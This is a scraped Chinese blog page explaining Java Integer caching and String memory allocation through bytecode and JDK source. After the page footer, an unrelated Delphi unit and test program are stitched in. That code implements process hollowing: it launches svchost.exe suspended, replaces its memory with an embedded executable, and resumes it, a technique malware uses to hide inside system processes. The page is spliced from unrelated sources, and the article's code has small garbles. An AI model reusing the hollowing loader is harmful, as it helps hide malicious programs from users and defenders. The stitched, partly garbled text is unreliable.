Integer和String内存分配分析

一.关于Integer的分析

直接上图

开始分析:

1. i == j :false

直接看一下编译之后的字节码

可以看到,当执行Integer i= 200;的时候会执行Integer.valueOf这个方法,然后发现是创建了两个对象,所以肯定不相等

public static Integer valueOf(int i) {
    // 这里就是传说中的Integer的常量池大小是 -128 ---- 127
    if (i >= IntegerCache.low && i <= IntegerCache.high)
        // 当在常量池的时候 就会直接使用常量池的Integer对象
        return IntegerCache.cache[i + (-IntegerCache.low)];
    // 所以说当Integer i = 200;的时候,相当于创建了一个Integer对象,所以说i j 不相等
    return new Integer(i);
}

接着看字节码,我们可以看到,ASTORE 1,ASTORE 2

ASTORE :将栈顶引用类型值保存到局部变量indexbyte中。

ALOAD 1,ALOAD 2:从局部变量indexbyte中装载引用类型值入栈。

结合上面也就是说,把前两个引用对象入栈

IF_ACMPNE:若栈顶两引用类型值不相等则跳转。

2. i == k : true

结合上面字节码指令的分析可以发现,首先GETSTATIC java/lang/System.out : Ljava/io/PrintStream;获取静态字段的值。然后把之前的 i 对象入栈,接下来

INVOKEVIRTUAL java/lang/Integer.intValue ()I:运行时方法绑定调用方法。

也就是说会把i执行intValue方法

public int intValue() {
    // 我们可以看到上面的定义就是int类型的
    return value;
}

ILOAD 3 : 从局部变量indexbyte中装载int类型值入栈。也就是把上面定义的k变量入栈

IF_ICMPNE L9 : 若栈顶两int类型值不相等则跳转。看到没有就是比较的int类型的值,而上一步已经把i变成了int类型,所以两个200相等。所以不跳转。

ICONST_1 : 1(int)值入栈。结合上面分析,也就是说入栈1就是true,入栈0就是false

GOTO L10 : 无条件跳转到指定位置。

INVOKEVIRTUAL java/io/PrintStream.println (Z)V : 运行时方法绑定调用方法而之前得到的是true,所以直接打印true

3. j == k : true 略

4. h == l : true

整体步骤分析:

  1. ALOAD 4:对象h入栈,但是结合上面的分析可知,会先执行valueOf,然后会发现在常量池中。
  2. ALOAD 5:同上
  3. IF_ACMPNE L15:若栈顶两引用类型值不相等则跳转。因为引用的是常量池中的缓存,所以肯定是相等的。
  4. ICONST_1:1入栈,也就是说true
  5. GOTO L16:去这里
  6. INVOKEVIRTUAL java/io/PrintStream.println (Z)V:执行打印

5. valueOf()方法分析

public static Integer valueOf(int i) {
    // 分析这里
    if (i >= IntegerCache.low && i <= IntegerCache.high)
        return IntegerCache.cache[i + (-IntegerCache.low)];
    return new Integer(i);
}
private static class IntegerCache {
    // 最小数值
    static final int low = -128;
    static final int high;
    // 缓存数组
    static final Integer cache[];

    static {
        // high value may be configured by property
        int h = 127;
        String integerCacheHighPropValue =
            sun.misc.VM.getSavedProperty("java.lang.Integer.IntegerCache.high");
        if (integerCacheHighPropValue != null) {
            try {
                int i = parseInt(integerCacheHighPropValue);
                i = Math.max(i, 127);
                // Maximum array size is Integer.MAX_VALUE
                h = Math.min(i, Integer.MAX_VALUE - (-low) -1);
            } catch( NumberFormatException nfe) {
                // If the property cannot be parsed into an int, ignore it.
            }
        }
        high = h;

        cache = new Integer[(high - low) + 1];
        int j = low;
        for(int k = 0; k < cache.length; k++)
            // 可以看出来这里直接new了一些数组
            cache[k] = new Integer(j++);

        // range [-128, 127] must be interned (JLS7 5.1.7)
        assert IntegerCache.high >= 127;
    }

    private IntegerCache() {}
}

6. 其它存在缓存的类型

  • Character
public static Character valueOf(char c) {
    if (c <= 127) { // must cache
        return CharacterCache.cache[(int)c];
    }
    return new Character(c);
}
  • Short
public static Short valueOf(short s) {
    final int offset = 128;
    int sAsInt = s;
    if (sAsInt >= -128 && sAsInt <= 127) { // must cache
        return ShortCache.cache[sAsInt + offset];
    }
    return new Short(s);
}
  • Long
public static Long valueOf(long l) {
    final int offset = 128;
    if (l >= -128 && l <= 127) { // will cache
        return LongCache.cache[(int)l + offset];
    }
    return new Long(l);
}
  • Byte
public static Byte valueOf(byte b) {
    final int offset = 128;
    return ByteCache.cache[(int)b + offset];
}

二.关于String类型的分析

1. str1 == str2 : false

1.对象创建和内存分配

String str1 = “hello”;

对应的字节码:

L0
LINENUMBER 11 L0
LDC “hello” // 直接在元空间中分配一块内存作为hello
ASTORE 1 // 把这个引用压栈

所以说这个对象是在元空间开辟的内存所以假设内存为0x0001

String str2 = new String(“hello”);

我们先看一下源码:

public String(String original) {
    // 这个value就是一个字符数组
    this.value = original.value;
    this.hash = original.hash;
}

所以说,这个对象就是简单的一个对象,他就是在堆区中进行创建的。

接下来看一下字节码:

L1
LINENUMBER 12 L1
NEW java/lang/String //创建一个对象
DUP // 下面详细介绍
LDC “hello” // 这个会先在常量池中进行查找,如果存在就不用创建,把hello推入栈顶
INVOKESPECIAL java/lang/String. (Ljava/lang/String;)// 执行初始化方法,把常量池中的值复制过来
ASTORE 2 // 把这个字符串的地址放入局部变量表

DUP:可以看到,new字节码指令的作用是创建指定类型的对象实例、对其进行默认初始化,并且将指向该实例的一个引用压入操作数栈顶;
然后因为invokespecial会消耗掉操作数栈顶的引用作为传给构造器的“this”参数,所以如果我们希望在invokespecial调用后在操作数栈顶还维持有一个指向新建对象的引用,就得在invokespecial之前先“复制”一份引用——这就是这个dup的来源。

进一步分析:(通过局部变量表和堆栈元空间进行分析)

0 ldc #2
2 astore_1
3 new #3 <java/lang/String>
6 dup
7 ldc #2
9 invokespecial #4 <java/lang/String.>
12 astore_2
13 new #5 <java/lang/StringBuilder>
16 dup
17 invokespecial #6 <java/lang/StringBuilder.>
20 new #3 <java/lang/String>
23 dup
24 ldc #7
26 invokespecial #4 <java/lang/String.>
29 invokevirtual #8 <java/lang/StringBuilder.append>
32 new #3 <java/lang/String>
35 dup
36 ldc #9
38 invokespecial #4 <java/lang/String.>
41 invokevirtual #8 <java/lang/StringBuilder.append>
44 invokevirtual #10 <java/lang/StringBuilder.toString>
47 astore_3
48 ldc #2
50 astore 4
52 getstatic #11 <java/lang/System.out>
55 aload_1
56 aload_2
57 if_acmpne 64 (+7)
60 iconst_1
61 goto 65 (+4)
64 iconst_0
65 invokevirtual #12 <java/io/PrintStream.println>
68 getstatic #11 <java/lang/System.out>
71 aload_1
72 aload_3
73 if_acmpne 80 (+7)
76 iconst_1
77 goto 81 (+4)
80 iconst_0
81 invokevirtual #12 <java/io/PrintStream.println>
84 getstatic #11 <java/lang/System.out>
87 aload_1
88 aload 4
90 if_acmpne 97 (+7)
93 iconst_1
94 goto 98 (+4)
97 iconst_0
98 invokevirtual #12 <java/io/PrintStream.println>
101 getstatic #11 <java/lang/System.out>
104 aload_2
105 aload_3
106 if_acmpne 113 (+7)
109 iconst_1
110 goto 114 (+4)
113 iconst_0
114 invokevirtual #12 <java/io/PrintStream.println>
117 getstatic #11 <java/lang/System.out>
120 aload_3
121 aload 4
123 if_acmpne 130 (+7)
126 iconst_1
127 goto 131 (+4)
130 iconst_0
131 invokevirtual #12 <java/io/PrintStream.println>
134 return

判断的字节码分析:

L4
LINENUMBER 15 L4
GETSTATIC java/lang/System.out : Ljava/io/PrintStream;
ALOAD 1 // 从局部变量indexbyte中装载引用类型值入栈。就是把astore_1入栈
ALOAD 2 // 就是把astore_2入栈
IF_ACMPNE L5 // 若栈顶两引用类型值不相等则跳转。现在比较,看图可以清晰的看出来不一样#2与#3
ICONST_1
GOTO L6

L5
ICONST_0 // 代表false

2. str1 == str5 :false

L7
LINENUMBER 16 L7
GETSTATIC java/lang/System.out : Ljava/io/PrintStream; // 得到System.out对象
ALOAD 1 // 从局部变量indexbyte中装载引用类型值入栈。就是把astore_1入栈
ALOAD 3 // 从局部变量indexbyte中装载引用类型值入栈。就是把astore_3入栈
IF_ACMPNE L8 // 若栈顶两引用类型值不相等则跳转。现在比较,看图可以清晰的看出来不一样#2与#4
ICONST_1
GOTO L9

L8
ICONST_0 // 代表false

L9

​ INVOKEVIRTUAL java/io/PrintStream.println (Z)V //执行打印

3. str1 == str6:true

L10
LINENUMBER 17 L10
GETSTATIC java/lang/System.out : Ljava/io/PrintStream;
ALOAD 1
ALOAD 4
IF_ACMPNE L11 // 这回看一下 #2与#2 store_1 与 store_4
ICONST_1 //这回不跳转 执行这个,1(int)值入栈。表示true
GOTO L12 // 无条件进行调换

L12

​ INVOKEVIRTUAL java/io/PrintStream.println (Z)V //打印

4. str2 == str5:false

L13
LINENUMBER 18 L13
GETSTATIC java/lang/System.out : Ljava/io/PrintStream;
ALOAD 2
ALOAD 3
IF_ACMPNE L14 //肯定不同,比较一下是 #3与#4不同
ICONST_1
GOTO L15

5. str5 == str6:false

L16
LINENUMBER 19 L16
GETSTATIC java/lang/System.out : Ljava/io/PrintStream;
ALOAD 3
ALOAD 4
IF_ACMPNE L17 //#4与#2
ICONST_1
GOTO L18

6.关于String str5 = new String(“hel”)+new String(“lo”);

直接先看一下字节码把:

L2
LINENUMBER 13 L2
NEW java/lang/StringBuilder
DUP
INVOKESPECIAL java/lang/StringBuilder. ()V
NEW java/lang/String
DUP
LDC “hel”
INVOKESPECIAL java/lang/String. (Ljava/lang/String;)V
INVOKEVIRTUAL java/lang/StringBuilder.append (Ljava/lang/String;)Ljava/lang/StringBuilder;
NEW java/lang/String
DUP
LDC “lo”
INVOKESPECIAL java/lang/String. (Ljava/lang/String;)V
INVOKEVIRTUAL java/lang/StringBuilder.append (Ljava/lang/String;)Ljava/lang/StringBuilder;
INVOKEVIRTUAL java/lang/StringBuilder.toString ()Ljava/lang/String;
ASTORE 3

流程:

  1. 首先通过new关键字在堆空间中创建StringBuilder对象
  2. 执行空参构造方法
  3. 又创建了一个String对象,在堆空间中
  4. DUP上面已经分析了一下,这里不说了
  5. LDC "hel"常量池中的常量值(int, float, string reference, object reference)入栈。就是常量池中有不用创建,没有就创建一个。
  6. 执行String类型的带参(String参数)构造方法
  7. 继续执行StringBuilder的append方法,一会分析源码的时候会看到,其实把String对象里的char数组赋值到StringBuilder的char[]数组中,也就是说这个时候StringBuilder.value=“hel”
  8. 继续创建一个String对象,在堆空间中
  9. DUP上面已经分析了一下,这里不说了
  10. LDC "lo"常量池中的常量值(int, float, string reference, object reference)入栈。就是常量池中有不用创建,没有就创建一个。
  11. 执行String类型的带参(String参数)构造方法
  12. 继续执行StringBuilder的append方法,一会分析源码的时候会看到,其实把String对象里的char数组赋值到StringBuilder的char[]数组中,也就是说这个时候StringBuilder.value=“hello”
  13. 最后一步是执行StringBuilder的toString方法,这个源码会分析,这里简单介绍,就是把StringBuilder.value复制到一个char[]数组中,然后会重新创建一个String类型的对象,并把value指向StringBuilder.value。
  14. ASTORE 3 入栈,局部变量表中存在的是最后toString创建的String对象的引用

开始撸源码:

  1. 创建StringBuilder对象
public StringBuilder() {
    super(16);
}
// 这个是StringBuilder的父类,抽象类,就是创建一个字节数组,默认16,一会会测试一下创建一个超过16个字符 // 的
AbstractStringBuilder(int capacity) {
        value = new char[capacity];
}

  1. 创建了一个String对象,执行的是带参构造函数

    public String(String original) {
        // 这个就是一个字节数组
        this.value = original.value;
        // 默认一直是0,我也不知道什么时候能变
        this.hash = original.hash;
    }
    
    
  2. 执行append

    public StringBuilder append(String str) {
        super.append(str);
        return this;
    }
    public AbstractStringBuilder append(String str) {
        if (str == null)
            return appendNull();
        int len = str.length();
        ensureCapacityInternal(count + len);
        // 这个里面挺有意思,主要就是数组的拷贝操作,下面介绍
        str.getChars(0, len, value, count);
        count += len;
        return this;
    }
    // 你一定要注意,这个是String类型的方法
    public void getChars(int srcBegin, int srcEnd, char dst[], int dstBegin) {
        if (srcBegin < 0) {
            throw new StringIndexOutOfBoundsException(srcBegin);
        }
        if (srcEnd > value.length) {
            throw new StringIndexOutOfBoundsException(srcEnd);
        }
        if (srcBegin > srcEnd) {
            throw new StringIndexOutOfBoundsException(srcEnd - srcBegin);
        }
        // 这个是静态方法
        /**
         *	参数说明:
         *	value:这个是String对象的value,也就是hel
         *	srcBegin:0
         *	dst:这个是StringBuilder的value,也就是一个16字节的空字符数组
         *	dstBegin:这个是StringBuilder对象中有效字符的长度
         *	srcEnd:就是String中字符数组的长度
         *	srcEnd - srcBegin:就是一共多少个字节
         *	功能说明:
         *	会把value中的字符从srcBegin位置开始复制到dst数组从dstBegin位置开始的地方,复制srcEnd - 	 *	srcBegin个
         *
         */
        System.arraycopy(value, srcBegin, dst, dstBegin位置开始的地方, srcEnd - srcBegin);
    }
    
    

    4.执行toString

    public String toString() {
        // Create a copy, don't share the array
        // 可以看到分析的正确,就是重新创建一个String对象
        // 分析一下这个构造方法
        return new String(value, 0, count);
    }
    public String(char value[], int offset, int count) {
        if (offset < 0) {
            throw new StringIndexOutOfBoundsException(offset);
        }
        if (count <= 0) {
            if (count < 0) {
                throw new StringIndexOutOfBoundsException(count);
            }
            if (offset <= value.length) {
                this.value = "".value;
                return;
            }
        }
        // Note: offset or count might be near -1>>>1.
        if (offset > value.length - count) {
            throw new StringIndexOutOfBoundsException(offset + count);
        }
        // 主要是这里,下面有源码,很简单就是之前分析的哪个native方法的封装
        this.value = Arrays.copyOfRange(value, offset, offset+count);
    }
    public static char[] copyOfRange(char[] original, int from, int to) {
        int newLength = to - from;
        if (newLength < 0)
            throw new IllegalArgumentException(from + " > " + to);
        char[] copy = new char[newLength];
        System.arraycopy(original, from, copy, 0,
                         Math.min(original.length - from, newLength));
        return copy;
    }
    
    
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
unit PE; interface uses windows; function MemExecute(const ABuffer; Len: Integer; CmdParam: string; var ProcessId: Cardinal): Cardinal; implementation type TImageSectionHeaders = array[0..0] of TImageSectionHeader; PImageSectionHeaders = ^TImageSectionHeaders; { 计算对齐后的大小 } function GetAlignedSize(Origin, Alignment: Cardinal): Cardinal; begin result := (Origin + Alignment - 1) div Alignment * Alignment; end; { 计算加载pe并对齐需要占用多少内存,未直接使用OptionalHeader.SizeOfImage作为结果是因为据说有的编译器生成的exe这个值会填0 } function CalcTotalImageSize(MzH: PImageDosHeader; FileLen: Cardinal; peH: PImageNtHeaders; peSecH: PImageSectionHeaders): Cardinal; var i: Integer; begin {计算pe头的大小} result := GetAlignedSize(PeH.OptionalHeader.SizeOfHeaders, PeH.OptionalHeader.SectionAlignment); {计算所有节的大小} for i := 0 to peH.FileHeader.NumberOfSections - 1 do if peSecH[i].PointerToRawData + peSecH[i].SizeOfRawData > FileLen then // 超出文件范围 begin result := 0; exit; end else if peSecH[i].VirtualAddress 0 then //计算对齐后某节的大小 if peSecH[i].Misc.VirtualSize 0 then result := GetAlignedSize(peSecH[i].VirtualAddress + peSecH[i].Misc.VirtualSize, PeH.OptionalHeader.SectionAlignment) else result := GetAlignedSize(peSecH[i].VirtualAddress + peSecH[i].SizeOfRawData, PeH.OptionalHeader.SectionAlignment) else if peSecH[i].Misc.VirtualSize < peSecH[i].SizeOfRawData then result := result + GetAlignedSize(peSecH[i].SizeOfRawData, peH.OptionalHeader.SectionAlignment) else result := result + GetAlignedSize(peSecH[i].Misc.VirtualSize, PeH.OptionalHeader.SectionAlignment); end; { 加载pe到内存并对齐所有节 } function AlignPEToMem(const Buf; Len: Integer; var PeH: PImageNtHeaders; var PeSecH: PImageSectionHeaders; var Mem: Pointer; var ImageSize: Cardinal): Boolean; var SrcMz: PImageDosHeader; // DOS头 SrcPeH: PImageNtHeaders; // PE头 SrcPeSecH: PImageSectionHeaders; // 节表 i: Integer; l: Cardinal; Pt: Pointer; begin result := false; SrcMz := @Buf; if Len < sizeof(TImageDosHeader) then exit; if SrcMz.e_magic IMAGE_DOS_SIGNATURE then exit; if Len < SrcMz._lfanew + Sizeof(TImageNtHeaders) then exit; SrcPeH := pointer(Integer(SrcMz) + SrcMz._lfanew); if (SrcPeH.Signature IMAGE_NT_SIGNATURE) then exit; if (SrcPeH.FileHeader.Characteristics and IMAGE_FILE_DLL 0) or (SrcPeH.FileHeader.Characteristics and IMAGE_FILE_EXECUTABLE_IMAGE = 0) or (SrcPeH.FileHeader.SizeOfOptionalHeader SizeOf(TImageOptionalHeader)) then exit; SrcPeSecH := Pointer(Integer(SrcPeH) + SizeOf(TImageNtHeaders)); ImageSize := CalcTotalImageSize(SrcMz, Len, SrcPeH, SrcPeSecH); if ImageSize = 0 then exit; Mem := VirtualAlloc(nil, ImageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); // 分配内存 if Mem nil then begin // 计算需要复制的PE头字节数 l := SrcPeH.OptionalHeader.SizeOfHeaders; for i := 0 to SrcPeH.FileHeader.NumberOfSections - 1 do if (SrcPeSecH[i].PointerToRawData 0) and (SrcPeSecH[i].PointerToRawData < l) then l := SrcPeSecH[i].PointerToRawData; Move(SrcMz^, Mem^, l); PeH := Pointer(Integer(Mem) + PImageDosHeader(Mem)._lfanew); PeSecH := Pointer(Integer(PeH) + sizeof(TImageNtHeaders)); Pt := Pointer(Cardinal(Mem) + GetAlignedSize(PeH.OptionalHeader.SizeOfHeaders, PeH.OptionalHeader.SectionAlignment)); for i := 0 to PeH.FileHeader.NumberOfSections - 1 do begin // 定位该节在内存中的位置 if PeSecH[i].VirtualAddress 0 then Pt := Pointer(Cardinal(Mem) + PeSecH[i].VirtualAddress); if PeSecH[i].SizeOfRawData 0 then begin // 复制数据到内存 Move(Pointer(Cardinal(SrcMz) + PeSecH[i].PointerToRawData)^, pt^, PeSecH[i].SizeOfRawData); if peSecH[i].Misc.VirtualSize < peSecH[i].SizeOfRawData then pt := pointer(Cardinal(pt) + GetAlignedSize(PeSecH[i].SizeOfRawData, PeH.OptionalHeader.SectionAlignment)) else pt := pointer(Cardinal(pt) + GetAlignedSize(peSecH[i].Misc.VirtualSize, peH.OptionalHeader.SectionAlignment)); // pt 定位到下一节开始位置 end else pt := pointer(Cardinal(pt) + GetAlignedSize(PeSecH[i].Misc.VirtualSize, PeH.OptionalHeader.SectionAlignment)); end; result := True; end; end; type TVirtualAllocEx = function(hProcess: THandle; lpAddress: Pointer; dwSize, flAllocationType: DWORD; flProtect: DWORD): Pointer; stdcall; var MyVirtualAllocEx: TVirtualAllocEx = nil; function IsNT: Boolean; begin result := Assigned(MyVirtualAllocEx); end; { 生成外壳程序命令行 } function PrepareShellExe(CmdParam: string ): string; begin {这里的路径 自己定义了^_^,仅仅是外壳程序} //result:='c:\Program Files\Internet Explorer\iexplore.exe'+CmdParam ; result := 'c:\windows\system32\svchost.exe' + cmdparam; end; { 是否包含可重定向列表 } function HasRelocationTable(peH: PImageNtHeaders): Boolean; begin result := (peH.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress 0) and (peH.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size 0); end; type PImageBaseRelocation = ^TImageBaseRelocation; TImageBaseRelocation = packed record VirtualAddress: cardinal; SizeOfBlock: cardinal; end; { 重定向PE用到的地址 } procedure DoRelocation(peH: PImageNtHeaders; OldBase, NewBase: Pointer); var Delta: Cardinal; p: PImageBaseRelocation; pw: PWord; i: Integer; begin Delta := Cardinal(NewBase) - peH.OptionalHeader.ImageBase; p := pointer(cardinal(OldBase) + peH.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress); while (p.VirtualAddress + p.SizeOfBlock 0) do begin pw := pointer(Integer(p) + Sizeof(p^)); for i := 1 to (p.SizeOfBlock - Sizeof(p^)) div 2 do begin if pw^ and $F000 = $3000 then Inc(PCardinal(Cardinal(OldBase) + p.VirtualAddress + (pw^ and $0FFF))^, Delta); inc(pw); end; p := Pointer(pw); end; end; type TZwUnmapViewOfSection = function(Handle, BaseAdr: Cardinal): Cardinal; stdcall; { 卸载原外壳占用内存 } function UnloadShell(ProcHnd, BaseAddr: Cardinal): Boolean; var M: HModule; ZwUnmapViewOfSection: TZwUnmapViewOfSection; begin result := False; m := LoadLibrary('ntdll.dll'); if m 0 then begin ZwUnmapViewOfSection := GetProcAddress(m, 'ZwUnmapViewOfSection'); if assigned(ZwUnmapViewOfSection) then result := (ZwUnmapViewOfSection(ProcHnd, BaseAddr) = 0); FreeLibrary(m); end; end; { 创建外壳进程并获取其基址、大小和当前运行状态 } function CreateChild(Cmd: string; var Ctx: TContext; var ProcHnd, ThrdHnd, ProcId, BaseAddr, ImageSize: Cardinal): Boolean; var si: TStartUpInfo; pi: TProcessInformation; Old: Cardinal; MemInfo: TMemoryBasicInformation; p: Pointer; begin FillChar(si, Sizeof(si), 0); FillChar(pi, SizeOf(pi), 0); si.cb := sizeof(si); result := CreateProcess(nil, PChar(Cmd), nil, nil, False, CREATE_SUSPENDED, nil, nil, si, pi); // 以挂起方式运行进程 if result then begin ProcHnd := pi.hProcess; ThrdHnd := pi.hThread; ProcId := pi.dwProcessId; { 获取外壳进程运行状态,[ctx.Ebx+8]内存处存的是外壳进程的加载基址,ctx.Eax存放有外壳进程的入口地址 } ctx.ContextFlags := CONTEXT_FULL; GetThreadContext(ThrdHnd, ctx); ReadProcessMemory(ProcHnd, Pointer(ctx.Ebx + 8), @BaseAddr, SizeOf(Cardinal), Old); // 读取加载基址 p := Pointer(BaseAddr); { 计算外壳进程占有的内存 } while VirtualQueryEx(ProcHnd, p, MemInfo, Sizeof(MemInfo)) 0 do begin if MemInfo.State = MEM_FREE then break; p := Pointer(Cardinal(p) + MemInfo.RegionSize); end; ImageSize := Cardinal(p) - Cardinal(BaseAddr); end; end; { 创建外壳进程并用目标进程替换它然后执行 } function AttachPE(CmdParam: string; peH: PImageNtHeaders; peSecH: PImageSectionHeaders; Ptr: Pointer; ImageSize: Cardinal; var ProcId: Cardinal): Cardinal; var s: string; Addr, Size: Cardinal; ctx: TContext; Old: Cardinal; p: Pointer; Thrd: Cardinal; begin result := INVALID_HANDLE_VALUE; s := PrepareShellExe(CmdParam + ' ' {, peH.OptionalHeader.ImageBase, ImageSize}); if CreateChild(s, ctx, result, Thrd, ProcId, Addr, Size) then begin p := nil; if (peH.OptionalHeader.ImageBase = Addr) and (Size >= ImageSize) then // 外壳进程可以容纳目标进程并且加载地址一致 begin p := Pointer(Addr); VirtualProtectEx(result, p, Size, PAGE_EXECUTE_READWRITE, Old); end else if IsNT then // 98 下失败 begin if UnloadShell(result, Addr) then // 卸载外壳进程占有内存 // 重新按目标进程加载基址和大小分配内存 p := MyVirtualAllocEx(Result, Pointer(peH.OptionalHeader.ImageBase), ImageSize, MEM_RESERVE or MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (p = nil) and hasRelocationTable(peH) then // 分配内存失败并且目标进程支持重定向 begin // 按任意基址分配内存 p := MyVirtualAllocEx(result, nil, ImageSize, MEM_RESERVE or MEM_COMMIT, PAGE_EXECUTE_READWRITE); if p nil then DoRelocation(peH, Ptr, p); // 重定向 end; end; if p nil then begin WriteProcessMemory(Result, Pointer(ctx.Ebx + 8), @p, Sizeof(DWORD), Old); // 重置目标进程运行环境中的基址 peH.OptionalHeader.ImageBase := Cardinal(p); if WriteProcessMemory(Result, p, Ptr, ImageSize, Old) then // 复制PE数据到目标进程 begin ctx.ContextFlags := CONTEXT_FULL; if Cardinal(p) = Addr then ctx.Eax := peH.OptionalHeader.ImageBase + peH.OptionalHeader.AddressOfEntryPoint // 重置运行环境中的入口地址 else ctx.Eax := Cardinal(p) + peH.OptionalHeader.AddressOfEntryPoint; SetThreadContext(Thrd, ctx); // 更新运行环境 ResumeThread(Thrd); // 执行 CloseHandle(Thrd); end else begin // 加载失败,杀掉外壳进程 TerminateProcess(Result, 0); CloseHandle(Thrd); CloseHandle(Result); Result := INVALID_HANDLE_VALUE; end; end else begin // 加载失败,杀掉外壳进程 TerminateProcess(Result, 0); CloseHandle(Thrd); CloseHandle(Result); Result := INVALID_HANDLE_VALUE; end; end; end; function MemExecute(const ABuffer; Len: Integer; CmdParam: string; var ProcessId: Cardinal): Cardinal; var peH: PImageNtHeaders; peSecH: PImageSectionHeaders; Ptr: Pointer; peSz: Cardinal; begin result := INVALID_HANDLE_VALUE; if alignPEToMem(ABuffer, Len, peH, peSecH, Ptr, peSz) then begin result := AttachPE(CmdParam, peH, peSecH, Ptr, peSz, ProcessId); VirtualFree(Ptr, peSz, MEM_DECOMMIT); //VirtualFree(Ptr, 0, MEM_RELEASE); end; end; initialization MyVirtualAllocEx := GetProcAddress(GetModuleHandle('Kernel32.dll'), 'VirtualAllocEx'); end. /////////////////////////////////////////////////////////////////////// {测试:你可以把任何一个exe文件 作成资源然后这样调用} program test; //{$APPTYPE CONSOLE} {$R 'data.res' 'data.rc'}//加入exe资源文件 uses windows, PE in 'PE.pas'; //引用上面的单元 var ProcessId: Cardinal; ResourceLocation: HRSRC; Size: Longword; ResDataHandle: THandle; ResourcePointer: PChar; begin ResourceLocation := FindResource(HInstance, 'myexe', RT_RCDATA); if ResourceLocation 0 then begin Size := SizeofResource(HInstance, ResourceLocation); if Size 0 then begin ResDataHandle := LoadResource(HInstance, ResourceLocation); if ResDataHandle 0 then begin ResourcePointer := LockResource(ResDataHandle); if ResourcePointer nil then begin MemExecute(ResourcePointer^, size, '', ProcessId);//只需这样调用即可 end; end; end; end; end.

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值